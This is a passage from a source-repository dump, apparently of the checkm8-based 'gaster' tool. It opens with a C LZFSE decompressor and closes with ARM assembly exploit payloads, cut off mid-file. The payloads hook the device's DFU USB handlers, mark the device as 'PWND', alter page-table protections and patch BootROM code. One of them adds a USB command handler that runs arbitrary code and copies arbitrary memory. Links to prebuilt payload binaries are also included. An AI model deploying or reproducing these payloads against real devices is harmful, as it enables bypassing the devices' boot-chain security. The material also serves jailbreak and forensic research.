n_lmd_payload_bytes; 60 | const uint8_t *current_literal; 61 | int32_t l_value, m_value, d_value, pad_0; 62 | fse_in_stream lmd_in_stream; 63 | uint32_t lmd_in_buf; 64 | uint16_t l_state, m_state, d_state, pad_1; 65 | fse_value_decoder_entry l_decoder[LZFSE_ENCODE_L_STATES], m_decoder[LZFSE_ENCODE_M_STATES], d_decoder[LZFSE_ENCODE_D_STATES]; 66 | uint32_t literal_decoder[LZFSE_ENCODE_LITERAL_STATES]; 67 | uint8_t literals[LZFSE_LITERALS_PER_BLOCK + 64]; 68 | uint32_t pad_2; 69 | } lzfse_compressed_block_decoder_state; 70 | typedef struct { 71 | const uint8_t *src, *src_begin, *src_end; 72 | uint8_t *dst, *dst_begin, *dst_end; 73 | uint32_t end_of_stream, block_magic; 74 | lzfse_compressed_block_decoder_state compressed_lzfse_block_state; 75 | uncompressed_block_decoder_state uncompressed_block_state; 76 | uint32_t pad; 77 | } lzfse_decoder_state; 78 | typedef struct { 79 | uint32_t magic, n_raw_bytes; 80 | uint64_t packed_fields[3]; 81 | uint8_t freq[2 * (LZFSE_ENCODE_L_SYMBOLS + LZFSE_ENCODE_M_SYMBOLS + LZFSE_ENCODE_D_SYMBOLS + LZFSE_ENCODE_LITERAL_SYMBOLS)]; 82 | } lzfse_compressed_block_header_v2; 83 | typedef struct { 84 | uint32_t magic, n_raw_bytes, n_payload_bytes, n_literals, n_matches, n_literal_payload_bytes, n_lmd_payload_bytes; 85 | int32_t literal_bits; 86 | uint16_t literal_state[4]; 87 | int32_t lmd_bits; 88 | uint16_t l_state, m_state, d_state, l_freq[LZFSE_ENCODE_L_SYMBOLS], m_freq[LZFSE_ENCODE_M_SYMBOLS], d_freq[LZFSE_ENCODE_D_SYMBOLS], literal_freq[LZFSE_ENCODE_LITERAL_SYMBOLS]; 89 | } __attribute__((__packed__, __aligned__(2))) lzfse_compressed_block_header_v1; 90 | 91 | static const uint8_t l_extra_bits[LZFSE_ENCODE_L_SYMBOLS] = { 92 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 5, 8 93 | }, m_extra_bits[LZFSE_ENCODE_M_SYMBOLS] = { 94 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 5, 8, 11 95 | }, d_extra_bits[LZFSE_ENCODE_D_SYMBOLS] = { 96 | 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15 97 | }; 98 | static const uint32_t l_base_value[LZFSE_ENCODE_L_SYMBOLS] = { 99 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 20, 28, 60 100 | }, m_base_value[LZFSE_ENCODE_M_SYMBOLS] = { 101 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 24, 56, 312 102 | }, d_base_value[LZFSE_ENCODE_D_SYMBOLS] = { 103 | 0, 1, 2, 3, 4, 6, 8, 10, 12, 16, 20, 24, 28, 36, 44, 52, 60, 76, 92, 108, 124, 156, 188, 220, 252, 316, 380, 444, 508, 636, 764, 892, 1020, 1276, 1532, 1788, 2044, 2556, 3068, 3580, 4092, 5116, 6140, 7164, 8188, 10236, 12284, 14332, 16380, 20476, 24572, 28668, 32764, 40956, 49148, 57340, 65532, 81916, 98300, 114684, 131068, 163836, 196604, 229372 104 | }; 105 | 106 | static uint64_t 107 | fse_mask_lsb(uint64_t x, uint32_t nbits) { 108 | return x & ((1ULL << nbits) - 1U); 109 | } 110 | 111 | static uint64_t 112 | fse_extract_bits(uint64_t x, uint32_t start, uint32_t nbits) { 113 | return fse_mask_lsb(x >> start, nbits); 114 | } 115 | 116 | static bool 117 | fse_in_init(fse_in_stream *s, int32_t n, const uint8_t **pbuf, const uint8_t *buf_start) { 118 | if(n != 0) { 119 | if(*pbuf < buf_start + sizeof(s->accum)) { 120 | return false; 121 | } 122 | *pbuf -= sizeof(s->accum); 123 | memcpy(&s->accum, *pbuf, sizeof(s->accum)); 124 | s->accum_nbits = (uint32_t)(n + 64); 125 | } else { 126 | if(*pbuf < buf_start + sizeof(s->accum) - 1) { 127 | return false; 128 | } 129 | *pbuf -= sizeof(s->accum) - 1; 130 | memcpy(&s->accum, *pbuf, sizeof(s->accum) - 1); 131 | s->accum &= (1ULL << 56U) - 1U; 132 | s->accum_nbits = (uint32_t)(n + 56); 133 | } 134 | if(s->accum_nbits < 56 || s->accum_nbits >= 64 || (s->accum >> s->accum_nbits) != 0) { 135 | return false; 136 | } 137 | return true; 138 | } 139 | 140 | static bool 141 | fse_in_flush(fse_in_stream *s, const uint8_t **pbuf, const uint8_t *buf_start) { 142 | uint32_t nbits = (63U - s->accum_nbits) & -sizeof(s->accum); 143 | const uint8_t *buf = *pbuf - (nbits >> 3U); 144 | uint64_t incoming; 145 | 146 | if(buf < buf_start) { 147 | return false; 148 | } 149 | *pbuf = buf; 150 | memcpy(&incoming, buf, sizeof(incoming)); 151 | s->accum = (s->accum << nbits) | fse_mask_lsb(incoming, nbits); 152 | s->accum_nbits += nbits; 153 | if(s->accum_nbits < 56 || s->accum_nbits >= 64 || (s->accum >> s->accum_nbits) != 0) { 154 | return false; 155 | } 156 | return true; 157 | } 158 | 159 | static uint64_t 160 | fse_in_pull(fse_in_stream *s, uint32_t n) { 161 | uint64_t result; 162 | 163 | s->accum_nbits -= n; 164 | result = s->accum >> s->accum_nbits; 165 | s->accum = fse_mask_lsb(s->accum, s->accum_nbits); 166 | return result; 167 | } 168 | 169 | static uint8_t 170 | fse_decode(fse_state *pstate, const uint32_t *decoder_table, fse_in_stream *in) { 171 | uint32_t e = decoder_table[*pstate]; 172 | 173 | *pstate = (fse_state)((e >> 16U) + fse_in_pull(in, e & 0xFFU)); 174 | return (uint8_t)fse_extract_bits((uint64_t)e, 8, 8); 175 | } 176 | 177 | static int32_t 178 | fse_value_decode(fse_state *pstate, const fse_value_decoder_entry *value_decoder_table, fse_in_stream *in) { 179 | fse_value_decoder_entry entry = value_decoder_table[*pstate]; 180 | uint32_t state_and_value_bits = (uint32_t)fse_in_pull(in, entry.total_bits); 181 | 182 | *pstate = (fse_state)((uint32_t)entry.delta + (state_and_value_bits >> entry.value_bits)); 183 | return (int32_t)((uint64_t)entry.vbase + fse_mask_lsb(state_and_value_bits, entry.value_bits)); 184 | } 185 | 186 | static bool 187 | fse_init_decoder_table(uint32_t nstates, uint32_t nsymbols, const uint16_t *freq, uint32_t *t) { 188 | uint32_t f, i, j, k, j0, n_clz = (uint32_t)__builtin_clz(nstates), sum_of_freq = 0; 189 | fse_decoder_entry e; 190 | 191 | for(i = 0; i < nsymbols; ++i) { 192 | if((f = freq[i]) == 0) { 193 | continue; 194 | } 195 | sum_of_freq += f; 196 | if(sum_of_freq > nstates) { 197 | return false; 198 | } 199 | k = (uint32_t)__builtin_clz(f) - n_clz; 200 | j0 = ((2 * nstates) >> k) - f; 201 | for(j = 0; j < f; ++j) { 202 | e.symbol = (uint8_t)i; 203 | if(j < j0) { 204 | e.k = (uint8_t)k; 205 | e.delta = (uint16_t)(((f + j) << k) - nstates); 206 | } else { 207 | e.k = (uint8_t)(k - 1); 208 | e.delta = (uint16_t)((j - j0) << (k - 1)); 209 | } 210 | memcpy(t, &e, sizeof(e)); 211 | ++t; 212 | } 213 | } 214 | return true; 215 | } 216 | 217 | static void 218 | fse_init_value_decoder_table(uint32_t nstates, uint32_t nsymbols, const uint16_t *freq, const uint8_t *symbol_vbits, const uint32_t *symbol_vbase, fse_value_decoder_entry *t) { 219 | uint32_t f, i, j, k, j0, n_clz = (uint32_t)__builtin_clz(nstates); 220 | fse_value_decoder_entry e, ei; 221 | 222 | for(i = 0; i < nsymbols; ++i) { 223 | if((f = freq[i]) == 0) { 224 | continue; 225 | } 226 | k = (uint32_t)__builtin_clz(f) - n_clz; 227 | j0 = ((2 * nstates) >> k) - f; 228 | ei.value_bits = symbol_vbits[i]; 229 | ei.vbase = symbol_vbase[i]; 230 | for(j = 0; j < f; ++j) { 231 | e = ei; 232 | if(j < j0) { 233 | e.total_bits = (uint8_t)k + e.value_bits; 234 | e.delta = (uint16_t)(((f + j) << k) - nstates); 235 | } else { 236 | e.total_bits = (uint8_t)(k - 1) + e.value_bits; 237 | e.delta = (uint16_t)((j - j0) << (k - 1)); 238 | } 239 | memcpy(t, &e, sizeof(e)); 240 | ++t; 241 | } 242 | } 243 | } 244 | 245 | static uint32_t 246 | lzfse_decode_v1_freq_value(uint32_t bits, uint32_t *nbits) { 247 | const uint8_t lzfse_freq_nbits_table[] = { 248 | 2, 3, 2, 5, 2, 3, 2, 8, 2, 3, 2, 5, 2, 3, 2, 14, 2, 3, 2, 5, 2, 3, 2, 8, 2, 3, 2, 5, 2, 3, 2, 14 249 | }, lzfse_freq_value_table[] = { 250 | 0, 2, 1, 4, 0, 3, 1, 8, 0, 2, 1, 5, 0, 3, 1, 8, 0, 2, 1, 6, 0, 3, 1, 8, 0, 2, 1, 7, 0, 3, 1, 8 251 | }; 252 | uint32_t b = bits & 31U, n = lzfse_freq_nbits_table[b]; 253 | 254 | *nbits = n; 255 | if(n == 8) { 256 | return 8 + ((bits >> 4U) & 0xFU); 257 | } 258 | if(n == 14) { 259 | return 24 + ((bits >> 4U) & 0x3FFU); 260 | } 261 | return lzfse_freq_value_table[b]; 262 | } 263 | 264 | static uint32_t 265 | get_field(uint64_t v, uint32_t offset, uint32_t nbits) { 266 | if(nbits == 32) { 267 | return (uint32_t)(v >> offset); 268 | } 269 | return (uint32_t)((v >> offset) & ((1U << nbits) - 1U)); 270 | } 271 | 272 | static uint32_t 273 | lzfse_decode_v2_header_size(lzfse_compressed_block_header_v2 in) { 274 | return get_field(in.packed_fields[2], 0, 32); 275 | } 276 | 277 | static bool 278 | lzfse_decode_v1(lzfse_compressed_block_header_v1 *out, const uint8_t *in, lzfse_compressed_block_header_v2 header_v2) { 279 | uint32_t i, accum, nbits, accum_nbits; 280 | const uint8_t *src, *src_end; 281 | uint16_t *dst; 282 | 283 | memset(out, '\0', sizeof(*out)); 284 | out->magic = LZFSE_COMPRESSEDV1_BLOCK_MAGIC; 285 | out->n_raw_bytes = header_v2.n_raw_bytes; 286 | out->n_literals = get_field(header_v2.packed_fields[0], 0, 20); 287 | out->n_literal_payload_bytes = get_field(header_v2.packed_fields[0], 20, 20); 288 | out->literal_bits = (int32_t)get_field(header_v2.packed_fields[0], 60, 3) - 7; 289 | out->literal_state[0] = (uint16_t)get_field(header_v2.packed_fields[1], 0, 10); 290 | out->literal_state[1] = (uint16_t)get_field(header_v2.packed_fields[1], 10, 10); 291 | out->literal_state[2] = (uint16_t)get_field(header_v2.packed_fields[1], 20, 10); 292 | out->literal_state[3] = (uint16_t)get_field(header_v2.packed_fields[1], 30, 10); 293 | out->n_matches = get_field(header_v2.packed_fields[0], 40, 20); 294 | out->n_lmd_payload_bytes = get_field(header_v2.packed_fields[1], 40, 20); 295 | out->lmd_bits = (int32_t)get_field(header_v2.packed_fields[1], 60, 3) - 7; 296 | out->l_state = (uint16_t)get_field(header_v2.packed_fields[2], 32, 10); 297 | out->m_state = (uint16_t)get_field(header_v2.packed_fields[2], 42, 10); 298 | out->d_state = (uint16_t)get_field(header_v2.packed_fields[2], 52, 10); 299 | out->n_payload_bytes = out->n_literal_payload_bytes + out->n_lmd_payload_bytes; 300 | src = in + offsetof(lzfse_compressed_block_header_v2, freq); 301 | src_end = in + lzfse_decode_v2_header_size(header_v2); 302 | if(src_end == src) { 303 | return true; 304 | } 305 | dst = out->l_freq; 306 | accum = 0; 307 | accum_nbits = 0; 308 | for(i = 0; i < LZFSE_ENCODE_L_SYMBOLS + LZFSE_ENCODE_M_SYMBOLS + LZFSE_ENCODE_D_SYMBOLS + LZFSE_ENCODE_LITERAL_SYMBOLS; ++i) { 309 | while(src < src_end && accum_nbits + 8 <= 32) { 310 | accum |= (uint32_t)*src << accum_nbits; 311 | accum_nbits += 8; 312 | ++src; 313 | } 314 | dst[i] = (uint16_t)lzfse_decode_v1_freq_value(accum, &nbits); 315 | if(nbits > accum_nbits) { 316 | return false; 317 | } 318 | accum >>= nbits; 319 | accum_nbits -= nbits; 320 | } 321 | if(accum_nbits >= 8 || src != src_end) { 322 | return false; 323 | } 324 | return true; 325 | } 326 | 327 | static bool 328 | lzfse_decode_lmd(lzfse_decoder_state *s) { 329 | int32_t i, new_d, L = s->compressed_lzfse_block_state.l_value, M = s->compressed_lzfse_block_state.m_value, D = s->compressed_lzfse_block_state.d_value, remaining_bytes = (int32_t)(s->dst_end - s->dst) - 32; 330 | fse_state l_state = s->compressed_lzfse_block_state.l_state, m_state = s->compressed_lzfse_block_state.m_state, d_state = s->compressed_lzfse_block_state.d_state; 331 | const uint8_t *src_start = s->src_begin, *src = s->src + s->compressed_lzfse_block_state.lmd_in_buf, *lit = s->compressed_lzfse_block_state.current_literal; 332 | fse_in_stream in = s->compressed_lzfse_block_state.lmd_in_stream; 333 | uint32_t symbols = s->compressed_lzfse_block_state.n_matches; 334 | uint8_t *dst = s->dst; 335 | 336 | if(L != 0 || M != 0) { 337 | goto ExecuteMatch; 338 | } 339 | while(symbols != 0) { 340 | if(!fse_in_flush(&in, &src, src_start)) { 341 | return false; 342 | } 343 | L = fse_value_decode(&l_state, s->compressed_lzfse_block_state.l_decoder, &in); 344 | if(lit + L >= s->compressed_lzfse_block_state.literals + LZFSE_LITERALS_PER_BLOCK + 64) { 345 | return false; 346 | } 347 | M = fse_value_decode(&m_state, s->compressed_lzfse_block_state.m_decoder, &in); 348 | new_d = fse_value_decode(&d_state, s->compressed_lzfse_block_state.d_decoder, &in); 349 | if(new_d != 0) { 350 | D = new_d; 351 | } 352 | --symbols; 353 | ExecuteMatch: 354 | if((uint32_t)D > (uint32_t)(dst + L - s->dst_begin)) { 355 | return false; 356 | } 357 | if(L + M <= remaining_bytes) { 358 | remaining_bytes -= L + M; 359 | memcpy(dst, lit, (size_t)L); 360 | dst += L; 361 | lit += L; 362 | for(i = 0; i < M; ++i) { 363 | dst[i] = dst[i - D]; 364 | } 365 | dst += M; 366 | } else { 367 | remaining_bytes += 32; 368 | if(L <= remaining_bytes) { 369 | memcpy(dst, lit, (size_t)L); 370 | dst += L; 371 | lit += L; 372 | remaining_bytes -= L; 373 | } else { 374 | return false; 375 | } 376 | if(M <= remaining_bytes) { 377 | for(i = 0; i < M; ++i) { 378 | dst[i] = dst[i - D]; 379 | } 380 | dst += M; 381 | remaining_bytes -= M; 382 | } else { 383 | return false; 384 | } 385 | remaining_bytes -= 32; 386 | } 387 | } 388 | s->dst = dst; 389 | return true; 390 | } 391 | 392 | static bool 393 | lzfse_decode(lzfse_decoder_state *s) { 394 | uint32_t i, magic, copy_size, src_space, dst_space; 395 | lzfse_compressed_block_header_v2 header_v2; 396 | lzfse_compressed_block_header_v1 header_v1; 397 | const uint8_t *buf, *buf_start; 398 | fse_state state[4]; 399 | size_t header_size; 400 | fse_in_stream in; 401 | 402 | for(;;) { 403 | switch(s->block_magic) { 404 | case LZFSE_NO_BLOCK_MAGIC: 405 | if(s->src + sizeof(magic) > s->src_end) { 406 | return false; 407 | } 408 | memcpy(&magic, s->src, sizeof(magic)); 409 | if(magic == LZFSE_ENDOFSTREAM_BLOCK_MAGIC) { 410 | s->src += sizeof(magic); 411 | s->end_of_stream = 1; 412 | return true; 413 | } 414 | if(magic == LZFSE_UNCOMPRESSED_BLOCK_MAGIC) { 415 | if(s->src + sizeof(uncompressed_block_header) > s->src_end) { 416 | return false; 417 | } 418 | memcpy(&s->uncompressed_block_state.n_raw_bytes, s->src + offsetof(uncompressed_block_header, n_raw_bytes), sizeof(s->uncompressed_block_state.n_raw_bytes)); 419 | s->src += sizeof(uncompressed_block_header); 420 | s->block_magic = magic; 421 | break; 422 | } 423 | if(magic == LZFSE_COMPRESSEDLZVN_BLOCK_MAGIC) { 424 | return false; 425 | } 426 | if(magic == LZFSE_COMPRESSEDV1_BLOCK_MAGIC || magic == LZFSE_COMPRESSEDV2_BLOCK_MAGIC) { 427 | if(magic == LZFSE_COMPRESSEDV2_BLOCK_MAGIC) { 428 | if(s->src + offsetof(lzfse_compressed_block_header_v2, freq) > s->src_end) { 429 | return false; 430 | } 431 | memcpy(&header_v2, s->src, sizeof(header_v2)); 432 | header_size = lzfse_decode_v2_header_size(header_v2); 433 | if(s->src + header_size > s->src_end || !lzfse_decode_v1(&header_v1, s->src, header_v2)) { 434 | return false; 435 | } 436 | } else { 437 | if(s->src + sizeof(header_v1) > s->src_end) { 438 | return false; 439 | } 440 | memcpy(&header_v1, s->src, sizeof(header_v1)); 441 | header_size = sizeof(header_v1); 442 | } 443 | if(s->src + header_size + header_v1.n_literal_payload_bytes + header_v1.n_lmd_payload_bytes > s->src_end) { 444 | return false; 445 | } 446 | s->src += header_size; 447 | s->compressed_lzfse_block_state.n_lmd_payload_bytes = header_v1.n_lmd_payload_bytes; 448 | s->compressed_lzfse_block_state.n_matches = header_v1.n_matches; 449 | fse_init_decoder_table(LZFSE_ENCODE_LITERAL_STATES, LZFSE_ENCODE_LITERAL_SYMBOLS, header_v1.literal_freq, s->compressed_lzfse_block_state.literal_decoder); 450 | fse_init_value_decoder_table(LZFSE_ENCODE_L_STATES, LZFSE_ENCODE_L_SYMBOLS, header_v1.l_freq, l_extra_bits, l_base_value, s->compressed_lzfse_block_state.l_decoder); 451 | fse_init_value_decoder_table(LZFSE_ENCODE_M_STATES, LZFSE_ENCODE_M_SYMBOLS, header_v1.m_freq, m_extra_bits, m_base_value, s->compressed_lzfse_block_state.m_decoder); 452 | fse_init_value_decoder_table(LZFSE_ENCODE_D_STATES, LZFSE_ENCODE_D_SYMBOLS, header_v1.d_freq, d_extra_bits, d_base_value, s->compressed_lzfse_block_state.d_decoder); 453 | buf_start = s->src_begin; 454 | s->src += header_v1.n_literal_payload_bytes; 455 | buf = s->src; 456 | if(!fse_in_init(&in, header_v1.literal_bits, &buf, buf_start)) { 457 | return false; 458 | } 459 | state[0] = header_v1.literal_state[0]; 460 | state[1] = header_v1.literal_state[1]; 461 | state[2] = header_v1.literal_state[2]; 462 | state[3] = header_v1.literal_state[3]; 463 | for(i = 0; i < header_v1.n_literals; i += 4) { 464 | if(!fse_in_flush(&in, &buf, buf_start)) { 465 | return false; 466 | } 467 | s->compressed_lzfse_block_state.literals[i] = fse_decode(&state[0], s->compressed_lzfse_block_state.literal_decoder, &in); 468 | s->compressed_lzfse_block_state.literals[i + 1] = fse_decode(&state[1], s->compressed_lzfse_block_state.literal_decoder, &in); 469 | s->compressed_lzfse_block_state.literals[i + 2] = fse_decode(&state[2], s->compressed_lzfse_block_state.literal_decoder, &in); 470 | s->compressed_lzfse_block_state.literals[i + 3] = fse_decode(&state[3], s->compressed_lzfse_block_state.literal_decoder, &in); 471 | } 472 | s->compressed_lzfse_block_state.current_literal = s->compressed_lzfse_block_state.literals; 473 | buf = s->src + header_v1.n_lmd_payload_bytes; 474 | if(!fse_in_init(&in, header_v1.lmd_bits, &buf, s->src)) { 475 | return false; 476 | } 477 | s->compressed_lzfse_block_state.l_state = header_v1.l_state; 478 | s->compressed_lzfse_block_state.m_state = header_v1.m_state; 479 | s->compressed_lzfse_block_state.d_state = header_v1.d_state; 480 | s->compressed_lzfse_block_state.lmd_in_buf = (uint32_t)(buf - s->src); 481 | s->compressed_lzfse_block_state.l_value = s->compressed_lzfse_block_state.m_value = 0; 482 | s->compressed_lzfse_block_state.d_value = -1; 483 | s->compressed_lzfse_block_state.lmd_in_stream = in; 484 | s->block_magic = magic; 485 | break; 486 | } 487 | return false; 488 | case LZFSE_UNCOMPRESSED_BLOCK_MAGIC: 489 | copy_size = s->uncompressed_block_state.n_raw_bytes; 490 | if(copy_size == 0) { 491 | s->block_magic = 0; 492 | break; 493 | } 494 | if(s->src_end <= s->src) { 495 | return false; 496 | } 497 | src_space = (uint32_t)(s->src_end - s->src); 498 | if(copy_size > src_space) { 499 | copy_size = src_space; 500 | } 501 | if(s->dst_end <= s->dst) { 502 | return false; 503 | } 504 | dst_space = (uint32_t)(s->dst_end - s->dst); 505 | if(copy_size > dst_space) { 506 | copy_size = dst_space; 507 | } 508 | memcpy(s->dst, s->src, copy_size); 509 | s->src += copy_size; 510 | s->dst += copy_size; 511 | s->uncompressed_block_state.n_raw_bytes -= copy_size; 512 | break; 513 | case LZFSE_COMPRESSEDV1_BLOCK_MAGIC: 514 | case LZFSE_COMPRESSEDV2_BLOCK_MAGIC: 515 | if(s->src_end <= s->src || s->compressed_lzfse_block_state.n_lmd_payload_bytes > (size_t)(s->src_end - s->src) || !lzfse_decode_lmd(s)) { 516 | return false; 517 | } 518 | s->block_magic = LZFSE_NO_BLOCK_MAGIC; 519 | s->src += s->compressed_lzfse_block_state.n_lmd_payload_bytes; 520 | break; 521 | default: 522 | return false; 523 | } 524 | } 525 | return true; 526 | } 527 | 528 | size_t 529 | lzfse_decode_scratch_size(void) { 530 | return sizeof(lzfse_decoder_state); 531 | } 532 | 533 | static size_t 534 | lzfse_decode_buffer_with_scratch(uint8_t *dst_buffer, size_t dst_size, const uint8_t *src_buffer, size_t src_size, void *scratch_buffer) { 535 | lzfse_decoder_state *s = scratch_buffer; 536 | 537 | memset(s, '\0', sizeof(*s)); 538 | s->src = src_buffer; 539 | s->src_begin = src_buffer; 540 | s->src_end = s->src + src_size; 541 | s->dst = dst_buffer; 542 | s->dst_begin = dst_buffer; 543 | s->dst_end = dst_buffer + dst_size; 544 | return lzfse_decode(s) ? (size_t)(s->dst - dst_buffer) : 0; 545 | } 546 | 547 | size_t 548 | lzfse_decode_buffer(uint8_t *dst_buffer, size_t dst_size, const uint8_t *src_buffer, size_t src_size, void *scratch_buffer) { 549 | bool has_malloc = false; 550 | size_t ret; 551 | 552 | if(scratch_buffer == NULL) { 553 | if((scratch_buffer = malloc(lzfse_decode_scratch_size())) == NULL) { 554 | return 0; 555 | } 556 | has_malloc = true; 557 | } 558 | ret = lzfse_decode_buffer_with_scratch(dst_buffer, dst_size, src_buffer, src_size, scratch_buffer); 559 | if(has_malloc) { 560 | free(scratch_buffer); 561 | } 562 | return ret; 563 | } 564 | -------------------------------------------------------------------------------- /lzfse.h: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | #ifndef LZFSE_H 16 | # define LZFSE_H 17 | # include 18 | # include 19 | size_t 20 | lzfse_decode_scratch_size(void); 21 | size_t 22 | lzfse_decode_buffer(uint8_t *, size_t, const uint8_t *, size_t, void *); 23 | #endif 24 | -------------------------------------------------------------------------------- /payload_A9.S: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | .text 16 | .align 2 17 | 18 | .pool 19 | .set payload_dest, 0x7FFFFFF0 20 | .set dfu_handle_bus_reset, 0x7FFFFFF1 21 | .set dfu_handle_request, 0x7FFFFFF2 22 | .set payload_off, 0x7FFFFFF3 23 | .set payload_sz, 0x7FFFFFF4 24 | .set memcpy_addr, 0x7FFFFFF5 25 | .set gUSBSerialNumber, 0x7FFFFFF6 26 | .set usb_create_string_descriptor, 0x7FFFFFF7 27 | .set usb_serial_number_string_descriptor, 0x7FFFFFF8 28 | .set ttbr0_vrom_addr, 0x7FFFFFF9 29 | .set patch_addr, 0x7FFFFFFA 30 | 31 | .global _main 32 | _main: 33 | stp x29, x30, [sp, #-0x10]! 34 | ldr x0, =payload_dest 35 | ldr x2, =dfu_handle_bus_reset 36 | str xzr, [x2] 37 | ldr x2, =dfu_handle_request 38 | add x1, x0, #0xC 39 | str x1, [x2] 40 | adr x1, _main 41 | ldr x2, =payload_off 42 | add x1, x1, x2 43 | ldr x2, =payload_sz 44 | ldr x3, =memcpy_addr 45 | blr x3 46 | ldr x0, =gUSBSerialNumber 47 | _find_zero_loop: 48 | add x0, x0, #1 49 | ldrb w1, [x0] 50 | cbnz w1, _find_zero_loop 51 | adr x1, PWND_STR 52 | ldp x2, x3, [x1] 53 | stp x2, x3, [x0] 54 | ldr x0, =gUSBSerialNumber 55 | ldr x1, =usb_create_string_descriptor 56 | blr x1 57 | ldr x1, =usb_serial_number_string_descriptor 58 | strb w0, [x1] 59 | ldr x0, =ttbr0_vrom_addr 60 | ldr x1, [x0] 61 | bic x1, x1, #0xC0 62 | str x1, [x0] 63 | dsb sy 64 | tlbi alle3 65 | dsb sy 66 | isb 67 | mov w2, #0xD2800000 68 | ldr x3, =patch_addr 69 | str w2, [x3] 70 | orr x1, x1, #0x80 71 | str x1, [x0] 72 | dsb sy 73 | tlbi alle3 74 | dsb sy 75 | isb 76 | ldp x29, x30, [sp], #0x10 77 | ret 78 | 79 | PWND_STR: 80 | .asciz " PWND:[checkm8]" 81 | -------------------------------------------------------------------------------- /payload_A9.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_A9.bin -------------------------------------------------------------------------------- /payload_handle_checkm8_request.S: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | .text 16 | .align 2 17 | 18 | .pool 19 | .set handle_interface_request, 0x7FFFFFF0 20 | .set insecure_memory_base, 0x7FFFFFF1 21 | .set exec_magic, 0x7FFFFFF2 22 | .set done_magic, 0x7FFFFFF3 23 | .set memc_magic, 0x7FFFFFF4 24 | .set memcpy_addr, 0x7FFFFFF5 25 | .set usb_core_do_transfer, 0x7FFFFFF6 26 | 27 | .global _main 28 | _main: 29 | ldr x7, =handle_interface_request 30 | br x7 31 | b _main 32 | ldrh w2, [x0] 33 | cmp w2, #0x2A1 34 | bne _main 35 | stp x29, x30, [sp, #-0x10]! 36 | stp x19, x20, [sp, #-0x10]! 37 | mov x19, x0 38 | ldr x20, =insecure_memory_base 39 | mov w1, #0xFFFF 40 | ldrh w2, [x19, #0x2] 41 | cmp w1, w2 42 | bne _request_done 43 | ldr x0, [x20] 44 | ldr x1, =exec_magic 45 | cmp x0, x1 46 | bne _not_exec 47 | str xzr, [x20] 48 | ldp x0, x1, [x20, #0x10] 49 | ldp x2, x3, [x20, #0x20] 50 | ldp x4, x5, [x20, #0x30] 51 | ldp x6, x7, [x20, #0x40] 52 | ldr x8, [x20, #0x8] 53 | blr x8 54 | ldr x8, =done_magic 55 | stp x8, x0, [x20] 56 | b _request_done 57 | _not_exec: 58 | ldr x1, =memc_magic 59 | cmp x0, x1 60 | bne _request_done 61 | str xzr, [x20] 62 | ldp x0, x1, [x20, #0x10] 63 | ldr x2, [x20, #0x20] 64 | ldr x3, =memcpy_addr 65 | blr x3 66 | ldr x8, =done_magic 67 | stp x8, x0, [x20] 68 | _request_done: 69 | mov w0, #0x80 70 | mov x1, x20 71 | ldrh w2, [x19, #0x6] 72 | mov x3, xzr 73 | ldr x4, =usb_core_do_transfer 74 | blr x4 75 | mov w0, #0 76 | ldp x19, x20, [sp], #0x10 77 | ldp x29, x30, [sp], #0x10 78 | ret 79 | -------------------------------------------------------------------------------- /payload_handle_checkm8_request.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x7ff/gaster/7fffffff38a1bed1cdc1c5bae0df70f14395129b/payload_handle_checkm8_request.bin -------------------------------------------------------------------------------- /payload_handle_checkm8_request_armv7.S: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | .text 16 | .align 2 17 | 18 | .pool 19 | .set handle_interface_request, 0x7FFFFF0 20 | .set insecure_memory_base, 0x7FFFFF1 21 | .set exec_magic, 0x7FFFFF2 22 | .set 